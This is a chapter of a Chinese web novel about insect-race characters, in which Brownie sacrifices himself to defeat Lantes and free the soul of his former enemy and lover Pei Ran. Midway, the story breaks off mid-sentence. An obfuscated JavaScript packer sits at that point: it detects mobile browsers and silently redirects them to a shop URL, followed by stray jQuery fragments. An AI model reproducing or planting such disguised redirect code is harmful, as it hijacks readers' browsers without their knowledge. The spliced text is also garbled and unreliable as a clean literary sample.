第53章 副CP结局(正文)

作品:《被迟到的系统找到后雄主决定离婚

    “雄主!”


    撕心裂肺的喊声炸开,刺破黄沙漫天的苍穹。骨翅骤然展开,泛着冷光的鳞片在残阳下簌簌作响,几乎是凭着本能,兰特斯朝那道正在闭合的空间裂口扑去。


    电光火石之间,一股巨大的精神力忽然自兰特斯背后袭来,猛地咬上他心口,带着毁天灭地的压迫感将他狠狠摁倒在地。黄沙被砸得飞溅,他招架不及,只能眼睁睁看着楚凌的身影彻底消失在虚无之中。


    “雄主——!!”


    高举的手臂无望地朝前抓去,却被猛地压下,深深嵌入黄沙之中,挣扎的指骨在极其恐怖的精神力碾压下寸寸粉碎。


    目眦欲裂中,兰特斯看见了朝他而来的轮椅,金属轮碾过黄沙,停在他身前三米处,轮椅上坐着的赫然偷袭他的布朗尼。


    “你的精神力怎么会……!”


    兰特斯脸色骤然一变:“你装的!”


    布朗尼没有说话,浩瀚如星海的精神力便如滔天巨浪般劈头盖脸压下,力量之强,远超兰特斯的想象,他猛地吐出一口血,血珠溅在黄沙上,瞬间被吸干。


    “呕——”


    胸腔里的五脏六腑都像是移了位,兰特斯神情阴鸷,死死瞪着布朗尼,眼神里翻涌着疯狂的不甘。


    “雄主去哪里了?!”


    “告诉我,雄主去哪里了!”


    对兰特斯的歇斯底里充耳不闻,布朗尼操控着精神力将他牢牢钉在地上,声音平静得像一潭死水:“兰特斯,你再也找不到他了。”


    “你做了什么!”


    “他走了。”


    “不可能,不可能,雄主不可以离我而去,一定是你把他藏起来了,是你,是你!”


    被死死压制无法动弹,面颊在粗糙的沙地上摩擦,很快便血肉模糊,兰特斯双目狰狞,瞪着布朗尼的神情好似要生生咬断他的咽喉,高高在上的上位者被彻底击垮,狼狈地匍匐在地,宛如蛆虫般扭曲挣扎。


    布朗尼静静地注视着兰特斯,将他的不甘、偏执和疯狂尽收眼底,面上无甚波动,缓缓抬手。


    巨大的精神力宛如毒蛇,猛地钻入兰特斯的头颅后骤然炸开,绝对的实力面前,任何挣扎都无济于事。连惨叫都来不及发出一声,兰特斯猛地喷出一大口血,昏死过去。


    垂眸看着地上人事不省的兰特斯,布朗尼脸上闪过一丝冰冷、浅淡的嘲讽。


    他们都有病,他们不懂爱


    也学不会爱等到后知后觉、追悔莫及时他们早就没了说爱的资格。


    家族荣光、责任、利益、谋算、阴私、勾心斗角、尔虞我诈……


    布朗尼缓缓抬起手扭曲的指骨像是僵死的蛇丑陋又恶心。


    谁都不知道十二年前让虫闻风丧胆的反叛军首领是个雄虫。


    裴……燃……


    布朗尼望着天边唇畔轻启像是呼唤即将远行的客。


    记忆如潮水般涌来


    生死决战之际裴燃收了手。


    噗呲——


    鲜血浸透他的掌心温热的躯体倒在他的怀中耳畔是忍痛的笑粗重不稳的呼吸声裹着控制不住涌出的血。


    耳后的伤痕大刺刺撞入他眼底一道狭长恐怖的伤疤横贯大动脉几乎要将脆弱的头颅齐根割下是他利爪留下的痕迹。


    一贯张扬桀骜的笑渐弱血水顺着脖颈滑落浸透衣服蜿蜒黏上心脏烫得他生疼。


    肆意嚣张的黑一点点黯淡了。


    他看着那逐渐黯淡的光


    噗嗤——


    眼前血色弥漫指尖传来心脏跳动的微弱触感


    下意识收拢。


    一秒


    两秒


    那光灭了。


    他亲手挖出了裴燃的心脏。


    太阳落了。


    漫天的红霞映照连绵不绝的黄沙经年恍若昨日。


    布朗尼举着手天光照耀下一道极细的红线忽然凭空出现松松地圈在他的无名指上朝着远方无尽的黄沙蔓延而去。


    布朗尼的眼瞳震颤一瞬死寂许久的眼底猛地生出两簇幽光像是闷烧的火风一吹冒出燎原野火他朝着红线尽头望去企图找寻记忆中张狂的身影。


    大睁的眼眸中映出空茫的虚无惴惴怀揣的希翼陡然落空。


    “布朗尼!”


    一声怒吼宛若狮吼布朗尼扭头黢黑的骨翅划破天际他看见朝他俯冲而来的希博雅塔急躁迅猛宛如鹰隼和十数年前一般无二。


    他们是并肩作战的战友是生死之交他们曾无数次奔向对方他们是挚友。


    希博雅塔重重砸在黄沙里激起漫天尘土。他从沙坑中一跃而起一双金眸炯炯燃着熊熊怒火冲到布朗尼面前便一把抓住他的手腕一缕精神力不由分说地探入他的精神海。


    沉寂多年的精神海无端汹涌却后劲不足隐隐显出干


    涸之势,宛如竭泽。


    希博雅塔眼瞳骤缩,心底恐慌弥漫,他再也抑制不住自己的情绪,猛地攥住布朗尼的领口:“你做了什么,告诉我你做了什么!”


    布朗尼没动也没说话,只是静静地望着几乎面目狰狞的希博雅塔。


    “疯子,疯子!你他虫的就是个疯子!”


    希博雅塔猛地举起手,沙包大的拳头捏得嘎巴作响,高高举起却颓然落下,眼眶渐渐红了。他已经猜到了,布朗尼引爆精神海,为了击垮兰特斯。


    “你会死的,你会死的啊!”


    豆大的泪珠猛地掉落,希博雅塔双目通红,抓着布朗尼领口的双手青筋暴起,止不住地颤抖。


    布朗尼轻轻握住了希博雅塔的手。


    他眼中没有丝毫对死亡的恐惧,反而是一种坦然的平静,仿佛在迎接一场迟来的解脱,一切终于尘埃落定。


    “你要做什么,你到底要做什么!”希博雅塔嘶吼着,他早已泪流满面:“你已经抛弃了我们的理想一次,为什么又要抛弃第二次!你回答我,你回答我!为什么,到底是为什么!”


    “这是我们的理想,你为什么要一次又一次地抛弃它,你为什么要抛弃……”


    希博雅塔猛地咬住牙,看着面容平静的布朗尼,胸腔之中控制不住地气血上涌,满口血腥。曾几何时,叱咤风云的双子星已经衰弱到了这种地步,苍白枯槁,连枪都握不住了。


    布朗尼比他们都厉害,无数次力挽狂澜,无数次死里逃生,他们许诺过要改变这个狗屁不如的世界,可布朗尼抛弃了他们的理想,他抛弃了他!


    他抛弃了他!!


    布朗尼别开眼,视线掠过不远处吐血昏迷的兰特斯,缓缓开了口:“希博,你是个好领主,我好高兴,你一直做的都很好,剩下的一切就交给你了。”


    汹涌的精神海逐渐干涸,像是捧住一把沙子,清醒地看着沙子在手中一点点流逝,末了,风一吹,一干二净。


    “希博,这种感觉很好,”布朗尼垂眸,扭曲的指骨微微动了动,嘴角勾起一抹极其极浅的弧度:“我想这样做很久了。”


    死亡于他而言并不可怕。


    死亡于他而言,不是恐惧而是救赎。身为SS级雌虫,他这一生都像个承载着滔天巨浪的容器,时刻紧绷着神经,不能失控,不能放松,更不能随心所欲地做自己。肩上的责任、家族的荣光、虫族的使命……压得他喘


    不过气。他从来都不是布朗尼,只是一架冰冷的战争机器。


    “现在,我总算能好好睡一觉了。”


    希博雅塔死死抓着布朗尼领口的手颓然垂落,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247580|178462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    胸口剧烈起伏,所有的质问都被堵在口中,最终化为满腹委屈:“我们不是说好要一起改变这一切吗?你让我发动变革,我做了,你让我推行联邦共和,我也去了,现在这是怎么回事?你为什么要自爆精神海,兰特斯为什么会出现在这里?你到底都瞒了我什么!”


    布朗尼没说话。


    楚门莫名再次昏迷后苏醒的那天,告诉了他一个秘密。


    裴燃也好,他也好,他们不属于这个世界,他们都是攻略者,意外来到这里,为了回家被迫完成任务。


    裴燃的任务是杀了他。


    七年前卡门荒原的生死之战,裴燃违背了系统命令,对他放了水,死在了他的手里。


    裴燃受到了惩罚,他回不了家,灵魂无法回归原来的地方,只能像孤魂野鬼般游荡。


    布朗尼低头,视线落在无名指的红线之上,这一条红线,是羁绊也是束缚。


    他不死,裴燃回不去。


    能再见一面,死亡又有何惧。


    说到底,他欠他一命。


    布朗尼抬起头,红线的颜色寡淡了很多,可裴燃依旧没有出现。


    “咳咳咳——”


    布朗尼咽下胸腔中上涌的鲜血,可血实在太多,依旧止不住地涌出。


    “我不问了,”希博雅塔的声音控制不住哽咽:“你别死,你别死好不好,我求你了。”


    高大的雌虫软倒在地,他跪在布朗尼的轮椅前,像是个虫崽般痛哭流涕。看着膝前颤抖的头颅,布朗尼缓缓伸出手,染血的指尖在触碰前的一瞬间收回,他别开了眼。


    七年前,他就该**。


    天边红霞好似泼血,无名指上的红线越发黯淡了,如同布朗尼眼中的魂火,逐渐黯淡,他望着漫天黄沙,七年间让他夜夜难安的疑问又一次占据脑海。


    为什么要收手?


    是不是很疼吧?


    你恨我吗?


    “不许死,布朗尼,你不许死!”


    希博雅塔的吼声中是藏不住的恐慌,伸手托住布朗尼脱力的身体,口不择言:“你要是敢死,我就杀光所有虫,什么狗屁贵族什么狗屁共和,我会毁了一切,我说到做到!”


    布朗尼笑了,清浅的弧度寡淡如白水,费力吐出一句极为笃定的话语——


    “你不会。


    天光暗淡。


    布朗尼固执地睁眼望着,他的视线透过希博雅塔望向他身后越发透明的红线,在死亡到来的最后一刻,他终于看见了七年前于染血风沙中消失的身影。


    裴燃……


    嘴唇翕动却发不出声音,布朗尼定定望着虚空中的幻影,眼底是他自己都没有意识到的贪恋。


    手腕上的红线摇摇欲断,裴燃飘在虚空之中,神情复杂,布朗尼看不见他,他却目睹了布朗尼濒死的全部过程,一如过去的七年,他望着布朗尼一点点走向必死的结局。


    一命偿一命。


    他没想到会是这样的结局。


    一时兴起的招惹,七天的意乱情迷,生死之战后的七年困囿,他和布朗尼纠纠缠缠十二年了。


    一阵风起。


    裴燃伸出双手,一如七年前那个染血的拥抱,他抱住了一阵风。


    “对不起……


    日日萦绕心头的问题只字未提,化为一声叹息,散在风沙里。


    红线倏忽断裂,化作点点金光消散。


    裴燃伸出去的手在触碰的一瞬间落了空。


    “布朗尼——!!


    希博雅塔的嘶吼声炸响在黄沙之上,通红的双眼映出布朗尼无力垂落的手,扭曲的指骨砸在轮椅上,彻底不动了。


    黄沙骤起,裴燃的头顶裂开一道缝。


    他可以回家了。